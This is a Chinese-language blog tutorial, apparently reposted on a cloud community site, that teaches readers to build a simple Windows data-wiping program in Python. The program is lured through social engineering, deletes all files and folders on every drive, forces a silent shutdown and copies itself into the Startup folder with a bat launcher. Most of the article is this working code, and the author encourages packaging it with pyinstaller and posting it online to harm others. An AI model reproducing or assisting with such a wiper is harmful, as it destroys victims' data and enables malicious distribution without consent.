前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >手把手教你使用Python库打造一款简易黑客工具

手把手教你使用Python库打造一款简易黑客工具

作者头像
Python进阶者
发布2020-06-19 18:22:30
1.3K0
发布2020-06-19 18:22:30
举报
文章被收录于专栏:Python爬虫与数据挖掘

/1 前言/

随着信息化时代的到来,人们对互联网接触越来越广泛,这样就使得很多人对于黑客充满向往,企图通过网络虚拟世界来做一些有趣的事情。

所以今天我们要说的工具就是:怎样利用Python做一个黑客软件。众所周知,一般的黑客对于黑操作系统一般常用手法莫过于发送木马客户端,修改系统注册表,组策略,获得开机启动权限,入侵电脑然后对电脑的文件进行修改来达到不可告人的目的。

/2 项目目标/

今天我们要讲的就是最基础的,怎样获得开机启动,先给大家讲最基础添加文件到系统启动项的文件夹中,当然更加高端点也可以使用注册表添加,这里不在累述。

/3 项目准备/

使用sublime text 3编写 Python 代码,并一步一步实现相应过程。

/4 实现步骤/

1、首先我们通过社会工程学进行一个分析,准备一个足够吸引人的exe文件名称好让人第一眼看到就想点击它的欲望;等到别人点击了之后了这个程序是没有任何响应的,那么有的人也许会多点几下程序,当然这也对程序没有任何影响。

2、首先我们得获取系统盘盘符,这个我们可以使用os模块通过对环境变量的字典键值来得到当前系统盘盘符。

代码语言:javascript
复制
import os
print(os.getenv('SystemDrive'))

3、得到盘符后我们先可以将他的目录下的文件和文件夹打印出来。

代码语言:javascript
复制
aa=os.getenv('SystemDrive')
os.chdir(aa+'\\\\') \#修改当前目录
os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中

4、然后我们只需要删除盘符下的文件夹和文件即可。所以我们需要用到 os 的walk遍历当前盘符下的所有文件,然后使用remove方法和rmdir方法,一个是删除文件另一个是删除目录。由于没有虚拟机于是自己创建一个目录放了若干文件夹和文件,效果都一样。

代码语言:javascript
复制
path = r"C:\\Users\\Administrator\\Desktop\\sa"
代码语言:javascript
复制
os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。
os.walk() 方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。

语法:

代码语言:javascript
复制
os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])

参数:

代码语言:javascript
复制
top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,
filenames)【文件夹路径, 文件夹名字, 文件名】
topdown --可选,为True或者没有指定
一个目录的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。

如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生
(目录自下而上)。

onerror -- 可选,是一个函数; 它调用时有一个参数, 一个OSError实例。报告这错误后,继续walk, 或者抛出exception终止walk。
代码语言:javascript
复制
for root,dirs,files in os.walk(path,topdown=False):\#遍历目录

  for name in files:

    os.remove(os.path.join(root, name))

  for name in dirs:

    os.rmdir(os.path.join(root, name))

其实还有一种方法,就是shutil.rmtree(path)但是他会删除目录本身及所有子文件夹和文件,也就是说他会删除sa这个目录,所以不推荐这种搞法,因为我们要删除的是盘符下的文件夹或者文件,这样做很容易导致未知的错误。

5、得到了系统盘符之后,我们还想得到系统其他盘符那该怎么办了,不着急,我们可以试试下面这种方法。

代码语言:javascript
复制
import os

import string

def get_pan():

  disk_list=[] \#磁盘盘符列表

  for p in string.ascii_uppercase: \#遍历所有大写字母

  disk=p+':'

  if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头

    disk_list.append(disk) \#添加到盘符列表

  return disk_list

print(get_pan()) #打印盘符

结果很完美,跟我预想的一模一样,连u盘盘符也打印出来了。

6、光打印一个磁盘目录文件好像显得有点美中不足,于是我决定把所有磁盘目录文件都整出来,老样子,还是树形结构。

这样每个盘的目录结构就都保存在对应盘的2.txt文件中了。

7、然后我们将会把这些盘符下的目录文件全部删除,当然遍历删除啦,为了模拟真实场景我决定用几个带有多层文件和目录的文件夹来代替盘符,这里我就不一一截图了,直接上代码,老样子。

代码语言:javascript
复制
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']

for y in g:

  for root, dirs, files in os.walk(y,topdown=False):\#遍历目录

    for name in files:

      os.remove(os.path.join(root, name))

    for name in dirs:

      os.rmdir(os.path.join(root, name))

ok,我们已经将文件及目录全部删除。

8、删除文件后了系统自然无法正常运行,于是这个时候我们可以使电脑关机。shutdown ,我的不二选择,这里我们调用命令:

代码语言:javascript
复制
os.popen('shutdown /f /sg')

参数说明:

代码语言:javascript
复制
/f 强制关闭正在运行的应用程序而不事先警告用户。
/sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。

这样就可以在没有任何提示下关机了,神不知鬼不觉,哈哈哈。

9、当然这个操作得是基于文件操作结束后进行的,再次进行优化。

代码语言:javascript
复制
g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']

for y in g:

  try:

      #遍历目录

    for root, dirs, files in os.walk(y,topdown=False):

      for name in files:

        os.remove(os.path.join(root, name))

      for name in dirs:

        os.rmdir(os.path.join(root, name))

      time.sleep(1)

  except Exception:

    pass

  finally:

    os.popen('shutdown /f /sg')\#不弹出黑窗口

我们把程序发到网上,运气好别人点击了,得让那个文件在自启动目录,然后每次开机那个程序才会跟着启动。但是这里有个弊端,你想让别人把那个文件放到启动目录里去,那简直是做梦了,这些操作当然交给万能的Python就能一步搞定啦。我们可以在点击这个文件之后快速生成一个bat文件和一个EXE文件或者Python文件。

10、在这里我以Python 和bat为主,因为我还没打包的缘故。

代码语言:javascript
复制
自启动目录路径:

C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup

import shutil

shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\Start
Menu\\Programs\\StartUp\\gc1.py')

在这里我们用到shutil这个模块,专门操作文件目录的Copyfile方法是将当前资源文件复制到另一个目录下的文件,但是需要注意一点的是,两个文件名不可一样,否则会报错,虽然他可以复制,如果你非得用这个方法,记得抛异常。

11、好了,现在可以了,效果如下所示。

12、然后我们还需要一个bat来启动它,因为没有bat他是需要借助外力去点击才有效果的,有了bat就可以自动启动。

建立一个后缀为bat的文件,内容如下:

同样的。我们还是需要我们的Python来智能产生bat文件那么该怎样写了,很简单,有人问我为什么是pythow不是Python,因为前者运行后没有黑窗口,当然不管是创建bat文件还是复制程序文件都最好在删除之后调用,有人问我,你的文件都删除完了,留那一个有何用,哈啊哈哈,我只能说,仅供娱乐。。。

13、回到正题,程序文件只需创建一个就ok。

14、这样就算是大功告成了,然后我们也可以把Python文件打包,这样bat文件里就不需要写解释器了,因为有的目标电脑可能没有Python环境,这个时候需要我们用pyinstaller打包一下。打包好了之后,直接把bat文件内容改为:

代码语言:javascript
复制
start gc.exe

就可以啦~~

打包成exe文件之后了,就可以发布到网上嚯嚯别人啦,哈哈哈~~

/5 小结/

1、本文章基于Python库,获取盘符信息,之后使用命令强制删除盘符下文件和自动关机功能,将程序封装打包,可打造一款简易的“黑客”工具。

2、总的来说就是介绍Python各个系统相关模块的使用,以及一些cmd命令的使用,难度不大,可以用作平时练手时用,比起专业的黑客技术来说,这个是小巫见大巫了。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-06-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Python爬虫与数据挖掘 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档